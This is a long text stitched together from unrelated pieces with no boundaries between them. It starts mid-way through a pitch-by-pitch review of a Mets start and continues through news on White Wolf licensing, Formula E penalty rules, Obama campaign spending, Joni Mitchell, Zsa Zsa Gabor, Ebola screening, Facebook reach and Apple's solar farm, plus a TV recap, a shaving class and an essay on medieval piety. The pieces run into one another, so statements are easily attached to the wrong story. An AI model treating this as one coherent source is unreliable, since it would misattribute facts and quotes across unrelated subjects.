Now with men on first and second, Matz kept his faith with his heater as he didn’t have confidence to throw strikes with his Changeup or Curveball. He aimed twice inside against Matt Kemp, the first earning a whiff a bit elevated and middle-in, with the second getting a foul ball on a tighter pitch. Matz wisely went outside 0-2 and got a weak flail from Kemp resulting in a foul ball as he hit his spot off the plate. Next was an intended Curveball in the dirt that didn’t get deep enough for another foul ball. Matz just needs to execute one pitch perfectly at this point and Kemp is dead to rights. The next pitch is a terrible heater that isn’t close to being a strike and sails high-and-away out of the zone. At 1-2 the plan was a high-and-tight heater, but it creeped out a bit over the plate. It was just high enough for Kemp to miss the pitch and sky it for a can of corn:
It’s another piece of the same sentiment I’ve felt through this outing: Matz isn’t throwing a bad game, but he’s far from his formerly polished self.
Seventh Inning – 23 Pitches, 15 Strikes, 2 Hit, 0 BBs, 1 Run
At 75 pitches, Matz went back out for the seventh and opened with two Curveballs that fell on the inside corner while trying to hit the outer half. With an 0-2 count, he missed with two Fastballs away, but then followed it with one of the better Curveballs he’s thrown, keeping it low and away to Matt Adams for a weak flyball out:
The following at-bat to Kurt Suzuki was interesting. He missed a Fastball right off the outside corner – not a bad pitch – then threw an excellent Changeup right along the outside corner for a weak foul ball. He then elevated his Fastball outside for a check-swing swing, which I want to dock him points for missing his spot, but I have to acknowledge that he got to a 1-2 count. After a poor Fastball, he threw a pitch near the heart of the plate that Suzuki just couldn’t handle and popped it up to shallow center. A good result but it was mixed along the way.
Great Curveball for a first pitch strike to Dansby Swanson and once again he’s ahead of his batter. As I’d love to see from a confident pitcher, Matz followed it with a Changeup away, but Swanson remembered the one-strike Changeup Matz threw in his previous at-bat and was ready for it, hooking it behind Michael Conforto for a double to left.
A batter is in scoring position and Matz looked to his Fastball to get out of the jam. Following two great heaters away to Johan Camargo, he doubled up on inside Fastballs, barely missing the first, then getting a foul on the second. By doing his job there, he was able to set up a Curveball low, but he left it up in the zone, resulting in an RBI single to right-center field. Matz deserved to give up that run:
Surprisingly, Matz was allowed to pitch against pinch-hitter Ender Inciarte, where he missed multiple times with his Fastball. The polish just isn’t here and he’s a bit gassed at 92 pitches. With his final offering of the day, he gets his 3-2 Curveball down enough and earns a slow roller to second base to close the seventh:
Final Line – 7.0 IP, 1 ER, 5 Hits, 1 BB, 2 Ks. 67-98 Strikes, 19/27 First Pitch Strikes
I’m a bit torn after watching this outing from Matz. On one hand, a 1 ER outing with just six baserunners in seven innings is excellent. 97 Pitches is more than I expected after missing as much time as he did, and nearly 70% strikes is phenomenal. On the other, his Curveball wasn’t the proper putaway pitch that it has been in the past, his Changeup was spotty, and his Fastball command was nowhere near where it was last year. It was inside the zone, but it sailed high constantly and didn’t hit the glove often. There was just one at-bat where I felt Matz was in firm control (Brandon Phillips in the third), steering the hitter as he wanted and properly disposing of the hitter. It was a commonality last season and I was hoping to see more of it today.
Ron Darling made a good point in the booth about Matz’s improved lower half, showing images of how far Matz was getting off the rubber with his stride before releasing the ball. This is definitely a positive as getting closer to the mound and getting more strength from your legs will result in an “easier” velocity that isn’t stressful on your top half. It does also make plenty of sense in regards to his poor Fastball command, as greater emphasis on his lower half will cause timing issues for his arm – the most common result is his arm lagging more than normal leading to more elevated pitches. To clarify this, having your front foot farther ahead means you need to get your arm circle moving earlier in order to reach the closer release point in time. There’s still some much needed repetition needed here for Matz and I don’t think this will be an issue that carries through many starts in the year, but it might be a bit rocky early on.
While plans for a World of Darkness or Vampire: the Masquerade MMO began to run into trouble, progress continued on the tabletop roleplaying games. CCP and White Wolf struck a deal with Onyx Path Publishing, founded by former White Wolf Richard Thomas. Onyx Path earned the license rights to publish both classic and new World of Darkness along with Exalted. Onyx Path teamed up with Nocturnal Media to buy out right control of Scarred Lands1. Separately, they also took control of Scion and Trinity.
Geek Native has learnt that White Wolf is now moving to renew all licensing deals. What does this mean for Onyx? They’ve been hugely successful with Kickstarters and have published a slew of World of Darkness materials.
Tobias Sjögren, CEO of White Wolf Publishing, told Geek Native;
While we can’t speak for Onyx, we are reviewing all current licensing relationships that White Wolf has had with it’s partners. We will continue to work with third parties for a number of White Wolf’s IPs who we believe are the best fit for the property.
In a blog post at Onyx Path Publishing Richard Thomas addresses some of these concerns.
He notes;
Well first off, understand that the negotiations were completely black-boxed. As licensees, we had no official word that anything was actually happening except that some things were happening. The two corporate entities had to negotiate without outside voices confusing the process.
So, I don’t really know Paradox or the new White Wolf Publishing’s head guy Tobias. I do know Martin, who will be their Lead Storyteller (Creative Director), and he was a great guy to get to know years ago. If you look at the collage on our website here, that’s Martin as the brooding Dracula.
Tobias and I will be talking in detail later this week and I certainly expect to have a better idea of their plans after that. And as always, I’ll share what I can when I can.
In a summary, Onyx Path describe the current situation as “business as usual” and encourage fans to be friendly to Paradox.
Geek Native’s own flash poll on the buyout, first published with the breaking news suggests fans are overwhelmingly in favour of the deal. At the time of writing nearly 75% of respondents described the deal as “good news”.
Correction 1: Original article incorrectly stated that OPP and Nocturnal Media co-owned Scion and Trinity.
UofReddit class on wetshaving. Here you'll learn how to take shaving from a boring, annoying chore that leaves your face covered in painful bumps, to a lovely ritual that leaves you Baby's Butt Smooth.
Lectures
Here we'll talk about the manly, but potentially VERY DANGEROUS art of shaving with no guard. That's right, Just you and some of the sharpest steel possible. Straight razor shaving.
Here we'll discuss some more advanced techniques. Don't try these until you can regularly get a good shave without cutting your face to shreds. You should be fairly experienced before attempting these.
Here's where I add on to the previous lessons: 1.5 and 1.6, and also finally provide my own shave video.
In this lesson, guest instructor Michael Ham, aka Leisureguy, (author of Leisureguy's Guide to Gourmet Shaving,) talks about preparing for a shave. Everything from showering beforehand, to pre-shave face cleaning to lathering is discussed.
I had promised a video lesson but things screwed up. So here's the crash course version until I can add some stuff (including a video.)
The first lesson covers the concepts of wetshaving and touches on topics about why to wetshave, how, and what kind of gear you'll need and where to get it.
Prerequisites
Syllabus
Objective: To take your wetshaving experience from being a chore to something that you can truly look forward to and enjoy.
Cost: Expect to spend at least $20 or so on supplies minimum. But if you want to go way overboard and get the $100 razors and $30 tubs of cream, I won't stop you. I'll put together suggested kits for every budget.
How the Class Will Flow: This is a very casual class. I don't even have specific lessons planned out yet. A lot of this is going to depend on your participation and I'll evolve the class based on your needs as a group and will address individual issues on a personal basis. The class will have three MAJOR lessons/sections: * Introduction / Concepts / Equipment / Required Viewing/reading before starting * Wetshaving Technique with a DE and Proper Lathering Technique. * Advanced DE Technique and Exploration of Single Edge safety razors and Straight Edge Razors
Class Materials and Lesson Hosting: I'll be hosting any documents that you need on my Skydrive. Lessons will be written up in Reddit Self posts and linked in the sidebar for future reference / class members.
Grading: You will grade yourself, and your own experience. Your face will definitely let you know if you're doing something wrong. Most faces have low tolerance for bad DE technique and if you're trying a straight razor, your tolerance will be even lower and you'll be a bloody mess.
The case is made up of two parts- the main housing and a display window which houses a piece of acrylic. These parts took around 17 hours to print, and Smith pins the difficulty of both printing and assembling the case as “easy”.
The finishing work is what really makes this project look good, with the wood and metal effects achieved with hydro-dipping.
You can find the files to make your own over on MyMiniFactory. When you download the files make sure you read the attached PDF instructions, or follow the online build log.
“Fort Defiance” is full of inexplicable decisions on both sides of the camera, and I, having made my peace that this show is a semi-vampiric train wreck, was enthralled by its ineptitude. Before I get to the recap, let’s take a moment to try and figure out exactly where the vampire apocalypse stands. Here’s the things we learned in last night’s episode:
• People seem to know New York City is full of vampires. Despite this fact and the constant threat of being murdered, virtually no one seems to have left the city.
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• In fact, it appears no one in NYC has thought to tell anyone outside of NYC that it’s full of goddamned vampires.
• Certainly no one has left NYC and informed people about the vampires, as neither the state nor the national government have stepped in to do anything.
• As we should never forget, The Strain’s explanation for this utterly baffling mass failure for people to communicate basic but extremely important information is that “Dutch broke the internet.”
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The Strain obviously wants to portray a vampire apocalypse, but for some reason wants to keep the breakdown of civilization on an exceedingly slow burn—maybe so there are plenty of victims for vampires to munch on? Or so Eph and the gang have people to save?—which means that the show has forced the general population of NYC to be imbeciles in order to get them on-site, even as they complain about those darned vampires roaming the streets at night and murdering people with their tentacle tongues. This is awful, but hilariously so.
But nothing, and I mean nothing, shows this utterly insane plotting decision like my new favorite character, Staten Island councilwoman Justine Feraldo, who has somehow managed to clear the vampires out of the entirety of her district. She holds a press conference about this achievement—which news reporters attend, which makes the NYC inhabitants’ nonchalance about the vampire plague and the nation’s utter refusal to do anything for one of its most populous cities even more baffling—and somehow that’s not the best part.
The best part is when she rips a sheet of what appears to be a monument of some kind, but is actually a small piece of chain link fence that vampire corpses and their severed heads are attached haphazardly to.
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This is @#$%ing insane on about 10 different levels, and I love it. First of all, she is a politician who has strung up a bunch of corpses and unveiled them at a press conference. A press conference! Even Nazis didn’t have press conference when they killed people. Second, remember, no one is concerned enough about the vampires to leave the city, so the fact that she’s displaying these bodies is even more incongruous since everybody there seems pretty chill. It seems almost like The Strain wants to address this specifically, as someone in the crowd yells “Murderer!”—as you might do if you were a dum-dum who didn’t really comprehend vampires stalk the streets at night and your local councilwoman just unveiled a bunch of desecrated bodies like she was cutting a ribbon for the opening of a new supermarket, but third, when the councilwoman specifically calls them vampires, the crowd starts clapping! For her! Killing vampires! And them making a public sign out of them! Which leads me to the fifth most amazing thing about this scene is that Feraldo says she’s made a public shrine covered in dead vampires as a sign for them not to try to come to Staten Island.
A sign to tell the @#$%ing vampires with mouth tentacles stay away. The vampires who, as far as literally anyone but Eph and is gang know, consist solely of utterly mindless killers. Yes, Councilwoman Feraldo, I’m sure they’ll all be very impressed with your little public declaration.
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Now, let’s talk assholes, because boy, there are a bunch of them this episode. Setrakian is our first offender, as he secrets himself away to do science with some vampire worms. As it turns out, he boils them and makes them into a liquid that he drops into his eyes, which is how he’s kept himself so spry for a 94-year-old Holocaust survivor (and kudos to The Strain for finally answering this particular question). Of course, Setrakian doesn’t tell anybody about any of this, and his worm-eye-drops kill him, and only Nora chancing to check on the professor allows her to resuscitate him. Needlessly not trusting his gang of mediocre vampire hunters? Nearly dying, and leaving The Master loose, for no real reason? Asshole.
Zach, a.k.a. Carl’s Jr. Holy shit, Carl makes Zach of The Walking Dead look like Daryl from The Walking Dead. All Carl wouldn’t do is stay in the goddamn house. Zach, knowing full well that there are tentacle vampires on the loose, decides to take a bus ride at night. At night! Not even during the day! Eph catches him at the last second and brings him back, at which point Zach has a temper tantrum and starts smashing all the stuff in Eph and Nora’s lab—even though he knows that they’re working on a way to stop the vampires. Carl’s Jr. is the worst.
Meanwhile, Dutch sees a “Missing” flier for her friends from the gas station midway in the first season, and decides to go see if the girl’s mom put it up. She did, and she says Dutch was a worse vampire than the tentacle-mouth vampires are. Admittedly, Dutch isn’t really an asshole here, but certainly the writers of The Strain are assholes for thinking any of this little excursion was interesting in the tiniest degree.
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Shockingly, Eph is almost entirely asshole-free this episode. Sure, after Carl’s Jr. has his conniption fit he drags him down to the test vampire to show him what they’re fighting, but the kid is an idiot, and only some seriously tough love is going to keep him alive. Admittedly, Eph also drunkenly taunts The Master through the eyes of the test subject, but compared to these other people he’s a saint.
Oh, and The Strain killed off the entire Spec Ops Ninja Vampire Squad.
I know, you’d think that The Strain completely offing their most interesting characters would get more of a reaction from me, seeing as their five or so minutes of screentime was pretty much the only good part of season one. Well, after all that build-up, and after a brief training montage where Gus utters the immortal line mentioned above, they go on a mission to kidnap Eldritch Palmer. Disguised as an elevator repairman, Gus gets them to Palmer’s penthouse, where Palmer kicks on a ton of UV lights and herds the Squad into a pit, where they die, having accomplished literally nothing in one and a half seasons.
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Congratulations, The Strain! You have taken your most fascinating aspect—perhaps your only fascinating aspect—and destroyed it in them most anticlimactic way possible. And dear readers, if you’re wondering why I’m not spending more time ranting about this, well, it’s like when my cat is hungry and lets me know by pushing my drink off a table. I feed him, but a bit later, so I don’t reward him for bad behavior. Bad The Strain! Bad ridiculous vampire show!
All my hopes are pinned on Councilwoman Feraldoo now. May her reign be long and full of small sections of fence with corpses tied to them.
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Assorted Musings:
• In the show’s open, Bolivar is dragging a roller suitcase full of The Master’s dirt down the street. Some cops arrest him, which is a completely inexplicable decision. If they thought he was a vampire they should have shot him, and if they didn’t think he was a vampire he wasn’t doing anything illegal. The Strain in microcosm, everybody!
• I’m not a scientist, Eph, but maybe instead of touching the giant pustule with your finger next time and popping it you could, you know, use any one of the thousand science implements you have laying around.
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• Fet wants to blow up the nearby subway station to keep vampires from coming out. I thought this was pretty reasonable until Fet and Dutch do a little recon, and it turns out that the station is not only functional but people are still totally using it, despite the fact that last season revealed its full of @#$% vampires. What the hell is with this show?
• Fitzwilliam, Eldritch’s previous assistant, goes to visit his brother who lives in Staten Island. His brother is Kevin Hanchard, a.k.a. Art from Orphan Black, which is a much better show than The Strain. Literally nothing of importance happens in this plot thread.
• The Spec Ops Ninja Vampire Squad tells Gus they’ve recruited him because they need a member who can go out during the day… and then they all go out during the day to Palmer Tech or whatever the hell his office building is called. Seriously, you can see them go from the truck to the building in what looks like a pleasant afternoon. Sigh.
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• Coco, Eldritch’s new assistant, used to be a model, and met a lot of bad men; as such, she developed a sort of sixth sense about bad people. Shockingly, the impeccable dressed man with the German accent and the albino Goth with the inhuman eyes, both of whom only talk in menacing, sinister tones about obliquely threatening subjects seem to be setting off her alarms. GOOD CALL, WORLD’S GREATEST DETECTIVE.
• Is it just me, or are the vampires starting to gad about a little?
Under the new full course yellow (FCY) feature, drivers must abide by a 50kph (31mph) speed limit and maintain their distance to the car in front. Overtaking is prohibited, as with a standard yellow flag, as is “driving unnecessarily slowly” (presumably to counter any efforts by drivers to bunch cars up behind them before accelerating off unexpectedly). The pitlane will remain open during a FCY period, with the same speed limit in place. Whether the regulations will be refined or interpreted to prevent drivers using the pitlane as a short cut at some tracks under FCY instances remains to be seen.
While the exact procedure following a FCY incident remains unclear at present, it is believed that teams will be notified via the official messaging system; drivers could be informed by steering wheel-mounted lights when the track returns to green-flag status.
The FCY is designed to assure safety across the course for both track staff and race drivers while reducing safety car periods to get the racing underway more quickly. The new feature is not, however, intended to completely replace the safety car, which remains an option for the race director. In season two, the safety car remains the BMW i8 hybrid featuring Qualcomm wireless charging technology.
Penalty revisions
In addition to the new FCY, the penalty system has been tweaked. Stewards can now choose from four categories, to help speed decisions.
The most lenient punishments are time penalties of 5s and 10s, which can be taken during the mandatory pitstop or added to the driver’s finishing time.
Next up is a drive-through penalty, whereby a driver has to travel through the entire length of the pit lane with the pit lane speed limiter on. It’s not clear if this time can be applied to a finishing time or whether the trip to the pit lane is mandatory.
The most severe reprimand is a 10s stop-and-go, which takes a drive-through penalty and adds a 10s stop at the driver’s pit box.
It’s not yet clear to which types of offences these penalties pertain, nor how energy and power infringements will be treated. We’ll find out when racing gets underway in Beijing.
fiaformulae.com
Since the beginning of the year, Obama and the Democratic National Committee, for which the president is helping raise money to finance his party’s grass roots efforts, have spent close to $87 million in operating costs, according to a New York Times analysis of campaign finance reports filed with the Federal Election Commission. That amount is about as much as all the current Republican candidates together have raised so far in this campaign.
In recent months, that money has helped open campaign offices in at least 15 states around the country. In contrast, the best-financed Republican candidates, Mitt Romney and Gov. Rick Perry of Texas, have physical presences in just a handful of early primary states like New Hampshire, South Carolina and Florida.
In just the last three months, according to the filings, the Obama campaign has spent more on payroll, over $4 million, than several of the Republican candidates have raised. Obama already is paying staff in at least 38 states, including Wisconsin, Virginia, Pennsylvania, Ohio, New Mexico and North Carolina. His Chicago campaign headquarters hums with more than 200 paid aides.
And Obama has spent millions of dollars investing in social media and information technology, applying both savvy and brute technological force to raising small-dollar donations, firing up volunteers and building a technical infrastructure to sustain his re-election campaign for the next year.
The gap in spending underscores facts easily lost amid the president’s low approval ratings, his challenges in winning over independent voters and the gridlock he faces in Washington: Obama brings unmatched financial resources to the campaign trail, and a team with a well-honed sense of where and how to deploy money, people and technology.
“In the past three months, we’ve grown our organizing staff by 50 percent and opened up three new field offices every week,” Jim Messina, Obama’s campaign manager, wrote in an email to supporters Thursday. “Thousands of volunteers and organizers made 3 million phone calls and in-person visits to voters.”
Obama’s advantages are partly circumstantial: With no primary opponent, Obama, like other incumbent presidents before him, can begin preparing for a general election contest that is still more than a year away.
He can also raise large contributions for the Democratic National Committee — topping out at $30,800 per donor rather than the $5,000 limit on contributions to candidates — that are helping finance the party’s broader efforts to help Democrats up and down the ballot. During the last three months, the DNC has already transferred funds totaling more than $1.3 million to Democratic organizations in all 50 states and the District of Columbia, according to the party’s filings.
Though the Republican National Committee has enjoyed strong fundraising in recent months, it also is still paying down large debts incurred during the 2008 cycle. At the end of September, the committee was still $14.5 million in debt, according to campaign reports.
AUSTIN -- The Austin City Council approved a resolution Thursday that would back medical marijuana use.
The resolution amends the city's state legislative agenda to back laws that would legalize medical marijuana use in Texas and give legal protections to those using it as prescribed by a licensed physician, according to the council's agenda.
Council members approved it as part of Thursday's consent agenda.
But such measures face an uphill battle in the conservative Texas Legislature. State Rep. Elliott Naishtat, D-Austin, told KVUE that his attempts to pass legislation legalizing medical pot have met opposition, but he plans to try again during the 2015 legislative session.
"We make a little bit of progress every session," Naishtat told KVUE.
However, lawmakers' views on marijuana may be changing.
Gov. Rick Perry, who will leave office after the November elections, told the World Economic Forum in Davos, Switzerland earlier this year that he's for the decriminalization of marijuana use, but not legalization.
"As governor, I have begun to implement policies that start us toward a decriminalization" by introducing alternative "drug courts" that provide treatment and softer penalties for minor offenses, Perry said.
jfechter@express-news.et
The Market Street bicycle counter has been undercounting two-wheeled traffic — and not because of a computer glitch. Starting last month, the counter reported a huge jump in bike commuters. How come? All indications point to a recent tweak to the bike lane that guides more riders over the counter’s underground sensor.
On several days this year, the counter has tallied nearly 4,500 people cycling eastbound on Market at Ninth Street. On most weekdays, at least 3,700 riders have been counted. That’s about 1,000 more riders, on average, than were counted each day last January.
Last month may have been California’s driest January on record, but weather doesn’t explain the jump. Even in the warmest months last year, ridership typically ranged from 2,700 to 3,200. Prior to 2015, the record was 4,045, set on August 7 last year.
So what changed in the first week of January? The SFMTA installed plastic posts along the bike lane’s edge that guide bike riders to stay in the bike lane and roll over the bike sensor. Previously, many bike commuters passing by the counter rode outside the bike lane, instead using the adjacent traffic lane since it was closed to cars in 2009.
SFMTA spokesperson Ben Jose said that based on the agency’s manual bike counts, the bike counter remains about 95 percent accurate, the same rate as before. It’s “plausible” the posts explain the recent jump in the bike count, he said. No other likely explanation has been put forth, though the SFMTA has yet to verify with the counter’s manufacturer that it does not need to be recalibrated.
Getting a better read on Market Street bike traffic is one more way the SFMTA is improving the understanding of how San Franciscans’ travel habits are changing. Earlier this month, the agency reported its new survey methodology has revealed that most trips in the city are made without a private automobile.
Hat tip to Joe Chojnacki for pointing out the data jump.
A friend of the singer-songwriter told CBC News producer Leslie Stojsic on Wednesday that the 71-year-old suffered a "minor medical emergency" Tuesday.
The unnamed source also contradicted earlier reports that the singer, known for such hit songs as Both Sides Now and A Case of You, was found unconscious when she was taken from her home.
Reports Joni Mitchell's health: Source tells me she's in hospital recovering after "minor medical emergency," was *not* found unconscious. —@LeslieCBC
Late Tuesday Pacific Time, the fan website JoniMitchell.com, which is not connected with Mitchell's record label or management, issued a statement indicating that the Alberta-born artist was "awake and in good spirits," after arriving at the hospital.
"Light a candle and sing a song, let's all send good wishes her way," the statement read.
Los Angeles fire officials earlier said paramedics answered an afternoon 911 call in Bel Air, where Mitchell lives, and took a patient to the hospital.
Mitchell told Billboard magazine in December that she has a rare skin condition, Morgellons disease, which prevents her from performing. Still, she released a career-spanning four-disc box set last year and appeared at Clive Davis' annual pre-Grammy party in February.
The singer has received eight Grammy Awards, including a lifetime achievement award in 2002. She was inducted into the Rock and Roll Hall of Fame in 1997.
Mitchell, who was born in Fort Macleod, Alta., is also a member of the Canadian Music Hall of Fame and the Canadian Songwriters Hall of Fame.
She has a star on Canada's Walk of Fame in Toronto and a commemorative stamp, and is a companion of the Order of Canada.
She started her career as a street musician in Canada before moving to southern California, where she became part of the flourishing folk scene in the late 1960s. Her second album, Clouds, was a breakthrough with such songs as Both Sides Now and Chelsea Morning, winning Mitchell the Grammy for best folk performance.
Mitchell strums a guitar outside The Revolution Club in London in September 1968. (Central Press/Getty Images) Her 1970 album, Ladies of the Canyon, featured the hit single Big Yellow Taxi and the era-defining Woodstock. The following year, she released Blue, which ranks 30th on Rolling Stone magazine's list of the 500 Greatest Albums of All Time.
Mitchell has released 19 original albums, the most recent in 2007. The anthology released last year, Love Has Many Faces: A Quartet, A Ballet, Waiting to Be Danced, features remastered versions of 53 of her songs.
Her musical style integrates folk and jazz elements, and she counts jazz giants Charles Mingus and Pat Metheny among her past collaborators.
Gabor was born in Budapest, won the Miss Hungary crown in 1936, and emigrated to the United States where she embarked on movie career that mostly saw her in B-movies. Married nine times, she gained her most-recent fame when she slapped a Beverly Hills police officer in the face during a traffic stop in 1989.
She had been in declining health, and the subject of a court battle between her ninth husband, Frederic Prinz von Anhalt, and her daughter, Francesca Hilton, who died last year at age 67 from a stroke.
She was born Sari Gabor in Budapest on Feb. 17, 1917, and reached the apex of her career directed by John Ford in the 1952 musical "Moulin Rouge.''
Along with her sister, Eva Gabor, Zsa Zsa Gabor was a staple of game shows, talk shows and guest TV spots in the 1950s through '70s. She was -- some said -- a forerunner of the Kardashians -- famous for being famous.
Zsa Zsa gabor was married nine times, with seven divorces and one annulment, to Burhan Asaf Belge, Conrad Hilton, George Sanders, Herbert Hunter, Joshua S. Cosden Jr., Jack Ryan, Michael O'hara, Felkipe de Alba (the one annulment) and then von Anhalt, in 1986.
Von Anhalt was famous for throwing massive birthday parties for his wife, which continued until recent years, even though Gabor was bedridden and could not attend.
In 1989, Beverly Hills police officer Paul Kramer stopped Gabor for a traffic violation on Olympic Boulevard, and discovered an open flask of whiskey in the front seat. She slapped him, a jury found.
Gabor served three days in jail after refusing to perform community service.
No services have been announced.
In a statement, Gambia Bird insisted it has exercised all proper precautions against spreading the disease, including “general measures” and mandatory procedures regarding passenger screening at check-in, on-board disinfection and reporting systems.
WHO guidelines call for states to conduct exit screening for illness consistent with potential Ebola infection of everyone at international airports, seaports and major land crossings. The exit screening should consist of, at a minimum, a questionnaire, a temperature measurement and, in the case of fever, an assessment of the risk that the Ebola virus caused the fever. Authorities should deny anyone with an illness “consistent with EVD (Ebola Virus Disease)” from traveling except in the case of an appropriate medical evacuation. The guidelines also instruct officials to restrict those in contact with confirmed Ebola victims from domestic travel and bar them from international travel for 21 days after exposure.
However, the WHO and the International Civil Aviation Organization have stopped short of recommending any blanket travel bans. “There should be no general ban on international travel or trade,” said the WHO in a statement, adding that states should provide travelers to Ebola affected and at-risk areas with relevant information on risks, measures to minimize the risk and advice for managing potential exposure.
In its own statement, the International Air Transport Association (IATA) said it would “monitor developments closely in the Ebola outbreak in close coordination with the WHO and ICAO.”
Facebook's algorithm carefully sorts through the fire hose of content produced by your friends so your News Feed shows only the posts that the social network thinks you'll find most titillating. So just how much gets filtered out? And how many people are seeing what you share?
At the first Facebook Marketing Conference held Wednesday in New York City, Facebook executives offered a glimpse at the answer: This has far-reaching consequences for brands seeking to reach customers online, as well as individuals hoping to spread the word about their engagement or most recent meal.
On average 16 percent of an individual's friends will see a post that person shares on Facebook, according to the social media company. The same is true of a company's fans.
That number varies according to several factors, such as how often viewers return to Facebook. And if a user has only a handful of friends, she is more likely to see a higher share of the content that those people post.
"That's the average across all posts from all profiles and all pages of all different audience sizes and all different networks," said Chris Cox, Facebook's vice president of product. "For any given post or given profile owner, you might see a totally different number, but this [number] is to present an order of magnitude."
Facebook shared the statistic as part of its pitch for a new advertising product, the Reach Generator. The tool will allow marketers to increase the number of Facebook fans who view content they post on the site by paying for better placement on the site's homepage, in users' News Feeds and on Facebook's logout screen.
The social network explained that with help from the Reach Generator, brands could expand their footprint on Facebook from reaching 16 percent of their fans to touching 75 percent of them in a month.
Delivering more ads, which Facebook was careful to brand as "stories," means Facebook adjusts the News Feed and takes advantage of the real estate on users' homepages. A user will only see sponsored content from a brand in his or her News Feed if a friend has engaged with the brand's post, such as by "liking" or commenting on it.
"When a brand wants to make sure they're going beyond that 16 pecent … we optimize our systems to increase that delivery across the premium placements we talked about today," said Brad Boland, Facebook's director of product marketing. "We look at ways to ensure fans will be able to see those stories that are created and it's something that's worked directly into the algorithm of our system to deliver out to fans."
The makeup of the advertising on Facebook is also going through a change: Rather than promoting company's slogans, banner ads or logos, Facebook will promote the content a company has posted on their page, be it a photo, status update, or poll.
"You have an identity, use it. You have a voice, express yourself," Facebook chief operating officer, Sheryl Sandberg, said during the conference's keynote. "Your customers are listening and your customers are talking, so engage them."
Modern readers face two different challenges in understanding medieval literature. If readers are agnostic, they may be unaware of the Bible and basic church doctrine. If the modern readers are already familiar with the precepts of Christianity, they may mistakenly interpret medieval belief along the lines of modern practice. Keep in mind that many medieval beliefs are alien to modern Christianity, and difficult to understand without taking into account the unique nature of medieval spirituality. Rather than treating the following examples as a freak-show, consider them as potential insights into the psychology of the medieval mind. Consider how intense the emotional fervor and how unswerving was the belief of the Middle Ages.
Puss-Drinking and Scab-Eating --The general populace scorned lepers for their appearance and disease. As an act of humility and caring, many female saints such as St. Catherine would care for these "untouchables" by licking away the puss in their wounds then eating the scabs. People considered these saints especially holy.
Flagellants --Either as a masochistic form of penance for fleshly sins or as a symbolic gesture of subduing the flesh, flagellants would whip themselves until they bled. Often they would form lines and parade in the hundreds as they whipped themselves and marched from town to town singing hymns or calling upon other sinners to join them. The first recorded outbreak of this social phenomenon took place in 1260. Like flagellation, wearing a hairshirt was a method of penance or symbolic chastisement of the body. Beneath outer clothes, one would wear a shirt with rough, scratchy hair on the inside in order to rub the skin raw. It served as a reminder not to become too comfortable with the flesh.
Stylite Monks --(technically hermits rather than monks) were continental rather than British. These men would take a ladder, climb up to the top of a ruined Roman column, sit down, and then kick away the ladder, vowing to remain there contemplating God until they died. There are accounts of stylite monks who survived as long as twenty years, relying upon handouts from strangers who would pass food and water up to them using a rope and basket.
Similarly, Irish Sailing Monks were a phenomenon more common in Ireland than in England. Technically hermits rather than monks, these men would board a coracle (a small boat) and put themselves to sea without any provisions, trusting that, if it were God's will to spare them, the sea would carry them to an isolated island where they would build a hut and live out their days in isolation. Numerous monasteries on remote Irish islands originated from a single hermit undertaking such a voyage.
The Anchorhold --Anchorites and anchoresses would take funeral rites, wash themselves with holy water, and allow themselves to be sealed away in a walled enclosure attached to a church. Like stylite monks, they would rely on God to provide them with food and water through the kindness of passers-by. The mystic Julian of Norwich is one of the most famous anchoresses.
Their music video evokes the Muppets while conveying several important messages that can keep kids from getting hurt.
"Lab safety has been a real issue recently," said Patrick Bennett, who directed and edited the short film. "And a few high chemistry school teachers we knew were interested in showing stuff like the nano song in their classes."
Late last year, a UCLA lab technician was fatally wounded when a plastic syringe filled with tert-butyl lithium, which ignites upon exposure to air, broke and sprayed the flammable liquid all over her. That incident sparked a great deal of interest among chemists in updating their safety training materials.
After Bennett's group of musicians, songwriters, and puppeteers won several awards for making an educational video about nanotechnology, they turned their attention to preventing tragic accidents.
Producing their next clip took more than four months. "The music writing took quite a while, I heard the first cut back in July," Bennett said. "The video itself we filmed in mid September and didn't finish till last week."
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Speaking at a technology conference hosted by Goldman Sachs, Cook revealed that Apple is partnering with First Solar to construct the 1,300-acre plant, which he hailed as one of the tech giant’s most ambitious projects ever. Apple’s two campuses in Cupertino, data center in Newark and all 52 Apple Stores in the state will draw power from the facility, Cook said.
“We know at Apple that climate change is real,” Cook said. “Our view is that the time for talk is past and the time for action is now.”
Cook revealed the company’s plans during a wide-ranging conversation with Goldman Sachs president Gary Cohn at a financial conference hosted by the bank at the Palace Hotel in San Francisco. With shares closing at $122.02 during the address Tuesday, Apple became the first U.S. company to achieve a market value of more than $700 billion, a fact Cohn pointed out during his conversation with the Apple leader.
“You’ll remember exactly where you were when you had a $700 billion market cap,” he told a beaming Cook.
Cook noted that the solar project will drive major savings for Apple, which is committing $848 million for a 25-year lease on 130 megawatts of solar power, enough to power 50,000 homes. But he stressed that the project is driven by other aims than financial gains.
“We’re doing this because it’s right to do,” he said.
In addition to previewing the landmark solar project, Cook also took some time on the stage to reflect on the company’s achievements during the past year. In its most recent quarter, Apple raked in $18 billion in profit, the biggest haul ever for a publicly traded company. Although some analysts have questioned whether the company can continue to grow at such a rapid clip, Cook brushed aside those concerns.
“We don’t believe in such laws as laws of large numbers,” he said. “One of the things (Apple co-founder Steve Jobs) ingrained in us is that putting limits on your thinking is never good.”
Cook added that he was pleased with the debut of Apple Pay, a new mobile payments service that lets users buy items in stores by waving their iPhones. Before Apple Pay’s October release, Cook said he thought the service’s adoption would be slowed by retailers reluctant to tinker with their payment systems before the critical holiday shopping season. But many brands have been willing to give the technology a try.
“It’s going faster than I thought it would,” Cook said of Apple Pay’s adoption among retailers.
Although the blockbuster sales of the iPhone 6 and 6 Plus have garnered the most attention, Cook suggested that the company’s recent software offerings were just as significant. Last year, the company rolled out new programs to help people use iOS software in their cars and homes, in addition to monitoring their health, Cook noted.
“None of us want to have different platforms in different parts of our lives,” Cook said. “I think that is huge for our future.”
Cook stressed Apple’s commitment to the environment in his announcement of the solar farm, noting that its data centers are already powered by renewable energy, and environmental advocacy group Greenpeace cheered the announcement Tuesday.
“It’s one thing to talk about being 100 percent renewably powered, but it’s quite another thing to make good on that commitment with the incredible speed and integrity that Apple has shown in the past two years,” Greenpeace Senior IT Sector Analyst Gary Cook said in a statement. “Apple still has work to do to reduce its environmental footprint, but other Fortune 500 CEOs would be well served to make a study of Tim Cook, whose actions show that he intends to take Apple full-speed ahead toward renewable energy with the urgency that our climate crisis demands.”
Arizona-based First Solar announced the deal in a news release that included more praise for Apple.
“Apple’s commitment was instrumental in making this project possible and will significantly increase the supply of solar power in California,” First Solar Chief Operating Officer Joe Kishkill said in the release.
